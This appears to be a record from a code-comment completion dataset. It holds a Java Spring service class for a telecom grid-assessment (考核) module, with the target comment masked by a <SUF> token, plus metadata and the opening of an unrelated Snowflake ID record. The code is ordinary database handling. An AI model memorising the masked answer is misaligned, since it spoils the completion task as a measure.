} else if (objectType.equals("cdManager")) {
objectTypeNew = "CD政企客户经理";
objectTypeId = 2;
} else if (objectType.equals("busiManager")) {
objectTypeNew = "营业部负责人";
objectTypeId = 5;
} else if (objectType.equals("directManager")) {
objectTypeNew = "直销渠道经理";
objectTypeId = 4;
} else if (objectType.equals("societyManager")) {
objectTypeNew = "社会渠道经理";
objectTypeId = 1;
}
examModel.setObjectTypeNew(objectTypeNew);
// 用户类型
userMap.put("userType", objectTypeId);
// 通过gridNameCode,objNameId--org_id和objectTypeId查询GRID_USER表格的名字
userName = examModelMapper.selectUserName(userMap);
if (userName != null && userName.length() > 0) {
objNameList.add(userName);
}
}
if (objNameList != null && objNameList.size() > 0) {
examModel.setExamObjectList(objNameList.toString());
} else {
examModel.setExamObjectList("");
}
}
}
}
return list;
}
public List<ExamGird> selectOrgByPid(Map<String, Object> m) {
List<ExamGird> list = examModelMapper.selectOrgByPid(m);
return list;
}
public List<Map<String, Object>> selectObjNameByType(Map<String, String> m) {
return examModelMapper.selectObjNameByType(m);
}
public void insertToGridRankDetail(String jsonStr, String examInput, String objInput, String examId, String orgId) {
// xml中传入的map
Map<String, Object> map = new HashMap<String, Object>();
// GridRankDetail表格的唯一id
map.put("examId", examId);
// 初始拆入状态为1
map.put("status", "1");
map.put("orgId", orgId);
// examInput考核表格字符串 这里是一个数组
JSONArray examIn = new JSONArray(examInput);
String cycleType = examIn.getString(0);
map.put("cycleType", isEmpty(cycleType));
String startDate = examIn.getString(1);
map.put("startDate", isEmpty(startDate));
String gridNameCode = examIn.getString(5);
String gridCode = "";
if (!"null".equals(gridNameCode) && gridNameCode != null && gridNameCode.length() > 0) {
gridCode = gridNameCode;
}
map.put("gridNameCode", isEmpty(gridCode));
// 对象名称 id 数组 这里可能是多个 每一个都是一条记录,和kpi相交
JSONArray obj = new JSONArray(objInput);
// 对象类型
String objectType = obj.getString(0);
map.put("objectType", objectType);
// 对象名称数组字符串 这里直接转换是因为前端判断了不能为空,否则不能进来
JSONArray objectNameArr = obj.getJSONArray(1);
// kpi列表字符串 jsonStr 这里是多条,需要遍历,这里在前端做了判断,也是必须有值的
JSONObject jsonObj = new JSONObject(jsonStr);
// 循环遍历,因为是多选,结合kpi多选,有多少,取笛卡尔交集拆入
for (int i = 0; i < objectNameArr.length(); i++) {
if (jsonObj != null && jsonObj.length() > 0) {
// 取总的记录数 这里是至少有一条记录
Iterator<?> iterator = jsonObj.keys();
while (iterator.hasNext()) {
String rankId = UUID.randomUUID().toString().replaceAll("-", "");
map.put("rankId", rankId);
String objectId = objectNameArr.getString(i);
map.put("objectId", objectId);
map.put("kpi_score", 0);
map.put("kpi_value", "");
String objectName = "";
if (objectType.equals("gridLevel1") || objectType.equals("gridLevel2") || objectType.equals("gridLevel3")) {
objectName = examModelMapper.selectNameByOrgId(objectId);
} else {
objectName = examModelMapper.selectNameByOrgIdFromSysUser(objectId);
}
map.put("objectName", objectName);
map.put("gridType", "");
// 循环遍历jsonObj对象,取每一条记录
String name = (String) iterator.next();
@SuppressWarnings("unchecked")
Map<String, String> kpiMap = (Map<String, String>) JSON.parse(jsonObj.getString(name));
map.put("kpi_id", kpiMap.get("KPI_ID").trim());
map.put("kpi_name", kpiMap.get("KPI_NAME"));
map.put("kpi_type", kpiMap.get("KPI_TYPE"));
map.put("kpi_weight", Integer.parseInt(kpiMap.get("KPI_WEIGHT")));
map.put("kpi_define", kpiMap.get("KPI_DEFINE"));
String val = kpiMap.get("TARGET_VALUE");
Double d = 0.0;
if (val != null && val.length() > 0) {
d = Double.parseDouble(val);
}
map.put("target_value", d);
String json = kpiMap.get("KPI_ROLESTR").toString();
map.put("kpi_rolejson", json);
examModelMapper.insertToGridRankDetail(map);
}
}
}
}
public void deleteGridRankDetailById(String examId) {
Map<String, String> map = new HashMap<String, String>();
map.put("examId", examId);
map.put("status", "1");
examModelMapper.deleteGridRankDetailById(map);
}
/**
* 判断是字符串
*
* @Title isEmpty
* @Author xiaogaoxiang
* @param str
* @return String
*/
public static String isEmpty(String str) {
if (str != null && str.length() > 0) {
return str;
} else {
return "";
}
}
/**
*
* @param examStr
* 前端传过来的值,
* @param newExamId
* 新的随机id
* @param user
* 用户
*/
public void insertExamAndEtc(String examStr, String newExamId, String user, String orgId) {
@SuppressWarnings("unchecked")
Map<String, String> examMap = JSON.parseObject(examStr, Map.class);
String oldExamId = examMap.get("examId");
List<Map<String, String>> objList = insertNewObj(oldExamId, newExamId);
List<Map<String, String>> kpiList = insertNewKpi(oldExamId, newExamId);
Map<String, String> oneExam = insertNewExam(oldExamId, newExamId, examMap, user, orgId);
insertNewGridRankDetail(objList, kpiList, oneExam);
}
/**
* 这个是网格考核复用,使用老id查询,再复制一遍,原本examId对应有多少条记录,就新增多少,
* 原本的不变,新增和原本的只是examId不同,返回list<map>是 考核表需要数据
*
* @param oldExamId
* @param newExamId
* @return
*/
public List<Map<String, String>> insertNewObj(String oldExamId, String newExamId) {
Map<String, String> map = new HashMap<String, String>();
map.put("newExamId", newExamId);
map.put("examId", oldExamId);
List<ExamModelObj> objList = examModelMapper.selectObjByExamId(map);
Map<String, String> inMap = new HashMap<String, String>();
if (objList != null && objList.size() > 0) {
for (ExamModelObj obj : objList) {
String objectId = obj.getObjectId();
String objectType = obj.getObjectType();
inMap.put("objectId", objectId);
inMap.put("objectType", objectType);
inMap.put("newExamId", newExamId);
examModelMapper.insertNewObj(inMap);
}
}
List<Map<String, String>> list = new ArrayList<Map<String, String>>();
list = examModelMapper.selectObjByNewExamId(newExamId);
return list;
}
/**
* 这个是网格考核复用,使用老id查询,再复制一遍,原本examId对应有多少条记录,就新增多少,
* 原本的不变,新增和原本的只是examId不同,返回list<map>是 考核表需要数据
*
* @param oldExamId
* @param newExamId
* @return
*/
public List<Map<String, String>> insertNewKpi(String oldExamId, String newExamId) {
List<Map<String, String>> list = examModelMapper.selectKpiByExamId(oldExamId);
for (Map<String, String> m : list) {
m.put("EXAM_ID", newExamId);
String id = UUID.randomUUID().toString().replaceAll("-", "");
m.put("ID", id);
examModelMapper.insertKpiMap(m);
}
List<Map<String, String>> resultList = examModelMapper.selectKpiByExamId(newExamId);
return resultList;
}
/**
* 这个是网格考核复用,使用老id查询,再复制一遍,原本examId对应有多少条记录,就新增多少,
* 原本的不变,新增和原本的只是examId不同,返回list<map>是 考核表需要数据
*
* @param oldExamId
* @param newExamId
* @param user
* @return
*/
public Map<String, String> insertNewExam(String oldExamId, String newExamId, Map<String, String> examMap, String user, String orgId) {
Map<String, String> map = examModelMapper.selectExamByExamId(oldExamId);
map.put("CREATEPERSON", user);
// 获取系统当前时间
Date date = new Date();
SimpleDateFormat sdf = new SimpleDateFormat("yyyy年MM月dd日");
String currentDate = sdf.format(date);
map.put("CREATETIME", currentDate);
map.put("CYCLETYPE", examMap.get("cycleType"));
map.put("STARTDATE", examMap.get("start"));
map.put("ENDDATE", examMap.get("end"));
map.put("ID", newExamId);
map.put("orgId", orgId);
examModelMapper.insertNewExamModel(map);
Map<String, String> resultMap = examModelMapper.selectExamByExamId(newExamId);
return resultMap;
}
/**
* 这个是网格考核复用, 使用从其他三个表返回的数据填充
*
* @param oldExamId
* @param newExamId
* @return
*/
public void insertNewGridRankDetail(List<Map<String, String>> objList, List<Map<String, String>> kpiList, Map<String, String> oneExam) {
Map<String, Object> paramMap = new HashMap<String, Object>();
paramMap.put("startDate", oneExam.get("STARTDATE"));
paramMap.put("cycleType", oneExam.get("CYCLETYPE"));
paramMap.put("org_id", oneExam.get("ORG_ID"));
String gridCode = "";
String gridName = oneExam.get("GRIDNAME");
if (!"null".equals(gridName) && gridName != null) {
gridCode = gridName;
}
paramMap.put("gridNameCode", gridCode);
for (int i = 0; i < objList.size(); i++) {
Map<String, String> objMap = objList.get(i);
String objectId = objMap.get("OBJECT_ID");
paramMap.put("objectId", objectId);
String objectName = examModelMapper.selectNameByOrgId(objectId);
paramMap.put("objectName", objectName);
paramMap.put("examId", objMap.get("EXAM_ID"));
paramMap.put("objectType", objMap.get("OBJECT_TYPE"));
for (int j = 0; j < kpiList.size(); j++) {
Map<String, String> kpiMap = kpiList.get(j);
paramMap.put("kpi_id", kpiMap.get("KPI_ID").trim());
paramMap.put("kpi_name", kpiMap.get("KPI_NAME"));
paramMap.put("kpi_type", kpiMap.get("KPI_TYPE"));
paramMap.put("kpi_weight", kpiMap.get("KPI_WEIGHT"));
paramMap.put("kpi_define", kpiMap.get("KPI_DEFINE"));
paramMap.put("target_value", kpiMap.get("TARGET_VALUE"));
paramMap.put("kpi_rolejson", kpiMap.get("KPI_ROLESTR"));
String rankId = UUID.randomUUID().toString().replaceAll("-", "");
paramMap.put("rankId", rankId);
paramMap.put("status", "1");
System.out.println(paramMap.toString());
examModelMapper.insertNewGridRankDetail(paramMap);
}
}
}
public void updateGridRankDetailStatusById(String examId) {
Map<String, String> map = new HashMap<String, String>();
map.put("newStatus", "5");
map.put("oldStatus", "2");
map.put("examId", examId);
examModelMapper.updateGridRankDetailStatusById(map);
}
public List<Map<String, String>> selectExamResult(Map<String, String> map) {
List<Map<String, String>> list = examModelMapper.selectExamResult(map);
for (Map<String, String> m : list) {
String type = m.get("OBJECT_TYPE");
String objectType = "";
if (type.equals("gridLevel1")) {
objectType = "一类网格";
} else if (type.equals("gridLevel2")) {
objectType = "二类网格";
} else if (type.equals("gridLevel3")) {
objectType = "三类网格";
} else if (type.equals("gridManager")) {
objectType = "网格经理";
} else if (type.equals("cdManager")) {
objectType = "CD政企客户经理";
} else if (type.equals("busiManager")) {
objectType = "营业部负责人";
} else if (type.equals("directManager")) {
objectType = "直销渠道经理";
} else {
objectType = "社会渠道经理";
}
m.put("objectType", objectType);
String cycle = m.get("EVALUATE_CYCLE_TYPE");
String cycleType = "";
if (cycle.equals("month")) {
cycleType = "月度考核";
} else if (cycle.equals("quarter")) {
cycleType = "季度考核";
} else {
cycleType = "年度考核";
}
m.put("cycleType", cycleType);
}
return list;
}
/**
* rank表记录条数的数组字符串
*
* @Title publish
* @Author xiaogaoxiang
* @param ids
*
* @param orgId
* 当前登录人orgId void
*/
public void publish(String ids, String orgId) {
JSONArray rankIdArr = new JSONArray(ids);
for (int i = 0; i < rankIdArr.length(); i++) {
// 这里就是一个对象了
String rankObj = rankIdArr.getString(i);
// 这里是rank的一条记录的对象数组
@SuppressWarnings("unchecked")
Map<String, String> rankMap = JSON.parseObject(rankObj, Map.class);
rankMap.put("oldStatus", "3");
rankMap.put("newStatus", "4");
String status = rankMap.get("STATUS");
rankMap.put("status", status);
// 根据这个map中的数组去查询是否存在rankId相同的,以前的一条已经发布过的数据,如果存在,把以前的那条数据状态设置为4
examModelMapper.updateGridRankByRankId(rankMap);
examModelMapper.updateGridRankByRankNewId(rankMap);
}
}
}
| 125207780/xiaogaoxiang | audit/mobile-unit-project/project-webapp/src/main/java/com/bonc/exam/service/ExamService.java | 7,075 | // 这里就是一个对象了
| line_comment | zh-cn | package com.bonc.exam.service;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.Iterator;
/**
* 网格考核模块
* @author luxing@bonc.com.cn
*
*/
import java.util.List;
import java.util.Map;
import java.util.UUID;
import org.activiti.engine.impl.util.json.JSONArray;
import org.activiti.engine.impl.util.json.JSONObject;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import com.alibaba.fastjson.JSON;
import com.bonc.exam.dao.entity.ExamGird;
import com.bonc.exam.dao.entity.ExamModel;
import com.bonc.exam.dao.entity.ExamModelObj;
import com.bonc.exam.dao.mapper.ExamModelMapper;
import com.bonc.exam.dao.mapper.showObjMapper;
@Service
@Transactional(rollbackFor = Exception.class)
public class ExamService {
@Autowired
private ExamModelMapper examModelMapper;
@Autowired
private showObjMapper objMapper;
// @Autowired
// private KpiIndexMapper kpiIndexMapper;
public List<ExamModel> selectExamModel(ExamModel examModel) {
List<ExamModel> list = examModelMapper.selectExamModel(examModel);
return list;
}
public Boolean deleteExamModelById(String id) {
objMapper.deleteKpiByExamId(id);
examModelMapper.deleteObjByExamId(id);
Boolean result = examModelMapper.deleteExamModelById(id);
return result;
}
public void insertExamModel(ExamModel examModel) {
examModelMapper.insertExamModel(examModel);
}
public int updateExamModel(ExamModel examModel) {
int result = examModelMapper.updateExamModel(examModel);
return result;
}
public List<ExamModel> checkBoxSearchAnother(Map<String, Object> map) {
List<ExamModel> list = new ArrayList<ExamModel>();
String gridCode = (String) map.get("gridCode");
String gridName = (String) map.get("gName");
String orglevel = (String) map.get("orglevel");
if ((!gridCode.equals("")) && (orglevel.equals("4"))) { // 不为空
list = examModelMapper.checkBoxSearchByyGridCode(map);
} else if ((!gridCode.equals("")) && (orglevel.equals("3"))) {
list = examModelMapper.checkBoxSearchByyGridCodeAndAndOrglevel(map);
} else if (!gridName.equals("")) { // 不为空
list = examModelMapper.checkBoxSearchByGridName(map);
} else {
list = examModelMapper.checkBoxSearch(map);
}
String objectTypeNew = "";
List<String> objNameList = null;
for (ExamModel examModel : list) {
objNameList = new ArrayList<>();
// 获取exam的id也是obj中的exam_id
String id = examModel.getId();
// 获取exam中的gridName对应grid_user中的orgId
String gridNameCode = examModel.getGridName();
String cycle = examModel.getCycleType();
String cycleTypeNew = "";
if (cycle.equals("month")) {
cycleTypeNew = "月度考核";
} else if (cycle.equals("quarter")) {
cycleTypeNew = "季度考核";
} else {
cycleTypeNew = "年度考核";
}
examModel.setCycleTypeNew(cycleTypeNew);
// 封装入参
Map<String, String> examMap = new HashMap<>();
examMap.put("examId", id);
// 获取对象类型
String objectType = examModel.getCreateObject();
// 判断objectType是人还是网格 获取最后一个字如果123包含就说明是网格 String objectClass =
// objectType.substring(objectType.length()-1);
// 这里会获取多条记录,因为一个examId会关联多个obj
List<ExamModelObj> objList = examModelMapper.selectObjByExamId(examMap);
if ("gridLevel1,gridLevel2,gridLevel3".contains(objectType)) {
if (objectType.equals("gridLevel1")) {
objectTypeNew = "一类网格";
} else if (objectType.equals("gridLevel2")) {
objectTypeNew = "二类网格";
} else {
objectTypeNew = "三类网格";
}
// 为空判断
if (objList != null && objList.size() > 0) {
// 获取每一条记录,遍历
for (ExamModelObj examModelObj : objList) {
// 取每一条记录的对象名称的id
String objNameId = examModelObj.getObjectId();
// 如果是网格,只需要一个objNameId --> orgId就可以查到sys_org表中的Name
String objName = examModelMapper.selectNameByOrgId(objNameId);
objNameList.add(objName);
}
examModel.setObjectTypeNew(objectTypeNew);
examModel.setExamObjectList(objNameList.toString());
}
// 不包含就说明是人
} else {
// 为空判断
if (objList != null && objList.size() > 0) {
Map<String, Object> userMap = null;
String objNameId = null;
String userName = null;
// 获取每一条记录,遍历
for (ExamModelObj examModelObj : objList) {
// 封装查询grid_user的入参
userMap = new HashMap<>();
// 取每一条记录的对象名称的id-->对应lonid
objNameId = examModelObj.getObjectId();
userMap.put("loginId", objNameId);
userMap.put("orgId", gridNameCode);
// 设置接受对象类型字符串
int objectTypeId = 0;
// 获取对象类型
// String objType = examModelObj.getObjectType();
if (objectType.equals("gridManager")) {
objectTypeNew = "网格经理";
objectTypeId = 3;
} else if (objectType.equals("cdManager")) {
objectTypeNew = "CD政企客户经理";
objectTypeId = 2;
} else if (objectType.equals("busiManager")) {
objectTypeNew = "营业部负责人";
objectTypeId = 5;
} else if (objectType.equals("directManager")) {
objectTypeNew = "直销渠道经理";
objectTypeId = 4;
} else if (objectType.equals("societyManager")) {
objectTypeNew = "社会渠道经理";
objectTypeId = 1;
}
examModel.setObjectTypeNew(objectTypeNew);
// 用户类型
userMap.put("userType", objectTypeId);
// 通过gridNameCode,objNameId--org_id和objectTypeId查询GRID_USER表格的名字
userName = examModelMapper.selectUserName(userMap);
if (userName != null && userName.length() > 0) {
objNameList.add(userName);
}
}
if (objNameList != null && objNameList.size() > 0) {
examModel.setExamObjectList(objNameList.toString());
} else {
examModel.setExamObjectList("");
}
}
}
}
return list;
}
public List<ExamModel> checkBoxSearch(Map<String, Object> map) {
List<ExamModel> list = examModelMapper.checkBoxSearch(map);
String objectTypeNew = "";
List<String> objNameList = null;
String id = null;
String gridNameCode = null;
String cycle = null;
String cycleTypeNew = null;
String objectType = null;
Map<String, String> examMap = null;
List<ExamModelObj> objList = null;
for (ExamModel examModel : list) {
objNameList = new ArrayList<>();
// 获取exam的id也是obj中的exam_id
id = examModel.getId();
// 获取exam中的gridName对应grid_user中的orgId
gridNameCode = examModel.getGridName();
cycle = examModel.getCycleType();
cycleTypeNew = "";
if (cycle.equals("month")) {
cycleTypeNew = "月度考核";
} else if (cycle.equals("quarter")) {
cycleTypeNew = "季度考核";
} else {
cycleTypeNew = "年度考核";
}
examModel.setCycleTypeNew(cycleTypeNew);
// 封装入参
examMap = new HashMap<>();
examMap.put("examId", id);
// 获取对象类型
objectType = examModel.getCreateObject();
// 判断objectType是人还是网格 获取最后一个字如果123包含就说明是网格 String objectClass =
// objectType.substring(objectType.length()-1);
// 这里会获取多条记录,因为一个examId会关联多个obj
objList = examModelMapper.selectObjByExamId(examMap);
if ("gridLevel1,gridLevel2,gridLevel3".contains(objectType)) {
if (objectType.equals("gridLevel1")) {
objectTypeNew = "一类网格";
} else if (objectType.equals("gridLevel2")) {
objectTypeNew = "二类网格";
} else {
objectTypeNew = "三类网格";
}
// 为空判断
if (objList != null && objList.size() > 0) {
// 获取每一条记录,遍历
String objNameId = null;
String objName = null;
for (ExamModelObj examModelObj : objList) {
// 取每一条记录的对象名称的id
objNameId = examModelObj.getObjectId();
// 如果是网格,只需要一个objNameId --> orgId就可以查到sys_org表中的Name
objName = examModelMapper.selectNameByOrgId(objNameId);
objNameList.add(objName);
}
examModel.setObjectTypeNew(objectTypeNew);
examModel.setExamObjectList(objNameList.toString());
}
// 不包含就说明是人
} else {
// 为空判断
if (objList != null && objList.size() > 0) {
Map<String, Object> userMap = null;
String objNameId = null;
String userName = null;
// 获取每一条记录,遍历
for (ExamModelObj examModelObj : objList) {
// 封装查询grid_user的入参
userMap = new HashMap<>();
// 取每一条记录的对象名称的id-->对应lonid
objNameId = examModelObj.getObjectId();
userMap.put("loginId", objNameId);
userMap.put("orgId", gridNameCode);
// 设置接受对象类型字符串
int objectTypeId = 0;
// 获取对象类型
// String objType = examModelObj.getObjectType();
if (objectType.equals("gridManager")) {
objectTypeNew = "网格经理";
objectTypeId = 3;
} else if (objectType.equals("cdManager")) {
objectTypeNew = "CD政企客户经理";
objectTypeId = 2;
} else if (objectType.equals("busiManager")) {
objectTypeNew = "营业部负责人";
objectTypeId = 5;
} else if (objectType.equals("directManager")) {
objectTypeNew = "直销渠道经理";
objectTypeId = 4;
} else if (objectType.equals("societyManager")) {
objectTypeNew = "社会渠道经理";
objectTypeId = 1;
}
examModel.setObjectTypeNew(objectTypeNew);
// 用户类型
userMap.put("userType", objectTypeId);
// 通过gridNameCode,objNameId--org_id和objectTypeId查询GRID_USER表格的名字
userName = examModelMapper.selectUserName(userMap);
if (userName != null && userName.length() > 0) {
objNameList.add(userName);
}
}
if (objNameList != null && objNameList.size() > 0) {
examModel.setExamObjectList(objNameList.toString());
} else {
examModel.setExamObjectList("");
}
}
}
}
return list;
}
public List<ExamGird> selectOrgByPid(Map<String, Object> m) {
List<ExamGird> list = examModelMapper.selectOrgByPid(m);
return list;
}
public List<Map<String, Object>> selectObjNameByType(Map<String, String> m) {
return examModelMapper.selectObjNameByType(m);
}
public void insertToGridRankDetail(String jsonStr, String examInput, String objInput, String examId, String orgId) {
// xml中传入的map
Map<String, Object> map = new HashMap<String, Object>();
// GridRankDetail表格的唯一id
map.put("examId", examId);
// 初始拆入状态为1
map.put("status", "1");
map.put("orgId", orgId);
// examInput考核表格字符串 这里是一个数组
JSONArray examIn = new JSONArray(examInput);
String cycleType = examIn.getString(0);
map.put("cycleType", isEmpty(cycleType));
String startDate = examIn.getString(1);
map.put("startDate", isEmpty(startDate));
String gridNameCode = examIn.getString(5);
String gridCode = "";
if (!"null".equals(gridNameCode) && gridNameCode != null && gridNameCode.length() > 0) {
gridCode = gridNameCode;
}
map.put("gridNameCode", isEmpty(gridCode));
// 对象名称 id 数组 这里可能是多个 每一个都是一条记录,和kpi相交
JSONArray obj = new JSONArray(objInput);
// 对象类型
String objectType = obj.getString(0);
map.put("objectType", objectType);
// 对象名称数组字符串 这里直接转换是因为前端判断了不能为空,否则不能进来
JSONArray objectNameArr = obj.getJSONArray(1);
// kpi列表字符串 jsonStr 这里是多条,需要遍历,这里在前端做了判断,也是必须有值的
JSONObject jsonObj = new JSONObject(jsonStr);
// 循环遍历,因为是多选,结合kpi多选,有多少,取笛卡尔交集拆入
for (int i = 0; i < objectNameArr.length(); i++) {
if (jsonObj != null && jsonObj.length() > 0) {
// 取总的记录数 这里是至少有一条记录
Iterator<?> iterator = jsonObj.keys();
while (iterator.hasNext()) {
String rankId = UUID.randomUUID().toString().replaceAll("-", "");
map.put("rankId", rankId);
String objectId = objectNameArr.getString(i);
map.put("objectId", objectId);
map.put("kpi_score", 0);
map.put("kpi_value", "");
String objectName = "";
if (objectType.equals("gridLevel1") || objectType.equals("gridLevel2") || objectType.equals("gridLevel3")) {
objectName = examModelMapper.selectNameByOrgId(objectId);
} else {
objectName = examModelMapper.selectNameByOrgIdFromSysUser(objectId);
}
map.put("objectName", objectName);
map.put("gridType", "");
// 循环遍历jsonObj对象,取每一条记录
String name = (String) iterator.next();
@SuppressWarnings("unchecked")
Map<String, String> kpiMap = (Map<String, String>) JSON.parse(jsonObj.getString(name));
map.put("kpi_id", kpiMap.get("KPI_ID").trim());
map.put("kpi_name", kpiMap.get("KPI_NAME"));
map.put("kpi_type", kpiMap.get("KPI_TYPE"));
map.put("kpi_weight", Integer.parseInt(kpiMap.get("KPI_WEIGHT")));
map.put("kpi_define", kpiMap.get("KPI_DEFINE"));
String val = kpiMap.get("TARGET_VALUE");
Double d = 0.0;
if (val != null && val.length() > 0) {
d = Double.parseDouble(val);
}
map.put("target_value", d);
String json = kpiMap.get("KPI_ROLESTR").toString();
map.put("kpi_rolejson", json);
examModelMapper.insertToGridRankDetail(map);
}
}
}
}
public void deleteGridRankDetailById(String examId) {
Map<String, String> map = new HashMap<String, String>();
map.put("examId", examId);
map.put("status", "1");
examModelMapper.deleteGridRankDetailById(map);
}
/**
* 判断是字符串
*
* @Title isEmpty
* @Author xiaogaoxiang
* @param str
* @return String
*/
public static String isEmpty(String str) {
if (str != null && str.length() > 0) {
return str;
} else {
return "";
}
}
/**
*
* @param examStr
* 前端传过来的值,
* @param newExamId
* 新的随机id
* @param user
* 用户
*/
public void insertExamAndEtc(String examStr, String newExamId, String user, String orgId) {
@SuppressWarnings("unchecked")
Map<String, String> examMap = JSON.parseObject(examStr, Map.class);
String oldExamId = examMap.get("examId");
List<Map<String, String>> objList = insertNewObj(oldExamId, newExamId);
List<Map<String, String>> kpiList = insertNewKpi(oldExamId, newExamId);
Map<String, String> oneExam = insertNewExam(oldExamId, newExamId, examMap, user, orgId);
insertNewGridRankDetail(objList, kpiList, oneExam);
}
/**
* 这个是网格考核复用,使用老id查询,再复制一遍,原本examId对应有多少条记录,就新增多少,
* 原本的不变,新增和原本的只是examId不同,返回list<map>是 考核表需要数据
*
* @param oldExamId
* @param newExamId
* @return
*/
public List<Map<String, String>> insertNewObj(String oldExamId, String newExamId) {
Map<String, String> map = new HashMap<String, String>();
map.put("newExamId", newExamId);
map.put("examId", oldExamId);
List<ExamModelObj> objList = examModelMapper.selectObjByExamId(map);
Map<String, String> inMap = new HashMap<String, String>();
if (objList != null && objList.size() > 0) {
for (ExamModelObj obj : objList) {
String objectId = obj.getObjectId();
String objectType = obj.getObjectType();
inMap.put("objectId", objectId);
inMap.put("objectType", objectType);
inMap.put("newExamId", newExamId);
examModelMapper.insertNewObj(inMap);
}
}
List<Map<String, String>> list = new ArrayList<Map<String, String>>();
list = examModelMapper.selectObjByNewExamId(newExamId);
return list;
}
/**
* 这个是网格考核复用,使用老id查询,再复制一遍,原本examId对应有多少条记录,就新增多少,
* 原本的不变,新增和原本的只是examId不同,返回list<map>是 考核表需要数据
*
* @param oldExamId
* @param newExamId
* @return
*/
public List<Map<String, String>> insertNewKpi(String oldExamId, String newExamId) {
List<Map<String, String>> list = examModelMapper.selectKpiByExamId(oldExamId);
for (Map<String, String> m : list) {
m.put("EXAM_ID", newExamId);
String id = UUID.randomUUID().toString().replaceAll("-", "");
m.put("ID", id);
examModelMapper.insertKpiMap(m);
}
List<Map<String, String>> resultList = examModelMapper.selectKpiByExamId(newExamId);
return resultList;
}
/**
* 这个是网格考核复用,使用老id查询,再复制一遍,原本examId对应有多少条记录,就新增多少,
* 原本的不变,新增和原本的只是examId不同,返回list<map>是 考核表需要数据
*
* @param oldExamId
* @param newExamId
* @param user
* @return
*/
public Map<String, String> insertNewExam(String oldExamId, String newExamId, Map<String, String> examMap, String user, String orgId) {
Map<String, String> map = examModelMapper.selectExamByExamId(oldExamId);
map.put("CREATEPERSON", user);
// 获取系统当前时间
Date date = new Date();
SimpleDateFormat sdf = new SimpleDateFormat("yyyy年MM月dd日");
String currentDate = sdf.format(date);
map.put("CREATETIME", currentDate);
map.put("CYCLETYPE", examMap.get("cycleType"));
map.put("STARTDATE", examMap.get("start"));
map.put("ENDDATE", examMap.get("end"));
map.put("ID", newExamId);
map.put("orgId", orgId);
examModelMapper.insertNewExamModel(map);
Map<String, String> resultMap = examModelMapper.selectExamByExamId(newExamId);
return resultMap;
}
/**
* 这个是网格考核复用, 使用从其他三个表返回的数据填充
*
* @param oldExamId
* @param newExamId
* @return
*/
public void insertNewGridRankDetail(List<Map<String, String>> objList, List<Map<String, String>> kpiList, Map<String, String> oneExam) {
Map<String, Object> paramMap = new HashMap<String, Object>();
paramMap.put("startDate", oneExam.get("STARTDATE"));
paramMap.put("cycleType", oneExam.get("CYCLETYPE"));
paramMap.put("org_id", oneExam.get("ORG_ID"));
String gridCode = "";
String gridName = oneExam.get("GRIDNAME");
if (!"null".equals(gridName) && gridName != null) {
gridCode = gridName;
}
paramMap.put("gridNameCode", gridCode);
for (int i = 0; i < objList.size(); i++) {
Map<String, String> objMap = objList.get(i);
String objectId = objMap.get("OBJECT_ID");
paramMap.put("objectId", objectId);
String objectName = examModelMapper.selectNameByOrgId(objectId);
paramMap.put("objectName", objectName);
paramMap.put("examId", objMap.get("EXAM_ID"));
paramMap.put("objectType", objMap.get("OBJECT_TYPE"));
for (int j = 0; j < kpiList.size(); j++) {
Map<String, String> kpiMap = kpiList.get(j);
paramMap.put("kpi_id", kpiMap.get("KPI_ID").trim());
paramMap.put("kpi_name", kpiMap.get("KPI_NAME"));
paramMap.put("kpi_type", kpiMap.get("KPI_TYPE"));
paramMap.put("kpi_weight", kpiMap.get("KPI_WEIGHT"));
paramMap.put("kpi_define", kpiMap.get("KPI_DEFINE"));
paramMap.put("target_value", kpiMap.get("TARGET_VALUE"));
paramMap.put("kpi_rolejson", kpiMap.get("KPI_ROLESTR"));
String rankId = UUID.randomUUID().toString().replaceAll("-", "");
paramMap.put("rankId", rankId);
paramMap.put("status", "1");
System.out.println(paramMap.toString());
examModelMapper.insertNewGridRankDetail(paramMap);
}
}
}
public void updateGridRankDetailStatusById(String examId) {
Map<String, String> map = new HashMap<String, String>();
map.put("newStatus", "5");
map.put("oldStatus", "2");
map.put("examId", examId);
examModelMapper.updateGridRankDetailStatusById(map);
}
public List<Map<String, String>> selectExamResult(Map<String, String> map) {
List<Map<String, String>> list = examModelMapper.selectExamResult(map);
for (Map<String, String> m : list) {
String type = m.get("OBJECT_TYPE");
String objectType = "";
if (type.equals("gridLevel1")) {
objectType = "一类网格";
} else if (type.equals("gridLevel2")) {
objectType = "二类网格";
} else if (type.equals("gridLevel3")) {
objectType = "三类网格";
} else if (type.equals("gridManager")) {
objectType = "网格经理";
} else if (type.equals("cdManager")) {
objectType = "CD政企客户经理";
} else if (type.equals("busiManager")) {
objectType = "营业部负责人";
} else if (type.equals("directManager")) {
objectType = "直销渠道经理";
} else {
objectType = "社会渠道经理";
}
m.put("objectType", objectType);
String cycle = m.get("EVALUATE_CYCLE_TYPE");
String cycleType = "";
if (cycle.equals("month")) {
cycleType = "月度考核";
} else if (cycle.equals("quarter")) {
cycleType = "季度考核";
} else {
cycleType = "年度考核";
}
m.put("cycleType", cycleType);
}
return list;
}
/**
* rank表记录条数的数组字符串
*
* @Title publish
* @Author xiaogaoxiang
* @param ids
*
* @param orgId
* 当前登录人orgId void
*/
public void publish(String ids, String orgId) {
JSONArray rankIdArr = new JSONArray(ids);
for (int i = 0; i < rankIdArr.length(); i++) {
// 这里 <SUF>
String rankObj = rankIdArr.getString(i);
// 这里是rank的一条记录的对象数组
@SuppressWarnings("unchecked")
Map<String, String> rankMap = JSON.parseObject(rankObj, Map.class);
rankMap.put("oldStatus", "3");
rankMap.put("newStatus", "4");
String status = rankMap.get("STATUS");
rankMap.put("status", status);
// 根据这个map中的数组去查询是否存在rankId相同的,以前的一条已经发布过的数据,如果存在,把以前的那条数据状态设置为4
examModelMapper.updateGridRankByRankId(rankMap);
examModelMapper.updateGridRankByRankNewId(rankMap);
}
}
}
| 0 |
62351_14 | package com.teach.commons;
import java.text.SimpleDateFormat;
/**
* 分布式Id算法
* 雪花数
* Twitter_Snowflake<br>
* SnowFlake的结构如下(每部分用-分开):<br>
* 0 - 0000000000 0000000000 0000000000 0000000000 0 - 00000 - 00000 - 000000000000 <br>
* 1位标识,由于long基本类型在Java中是带符号的,最高位是符号位,正数是0,负数是1,所以id一般是正数,最高位是0<br>
* 41位时间截(毫秒级),注意,41位时间截不是存储当前时间的时间截,而是存储时间截的差值(当前时间截 - 开始时间截)
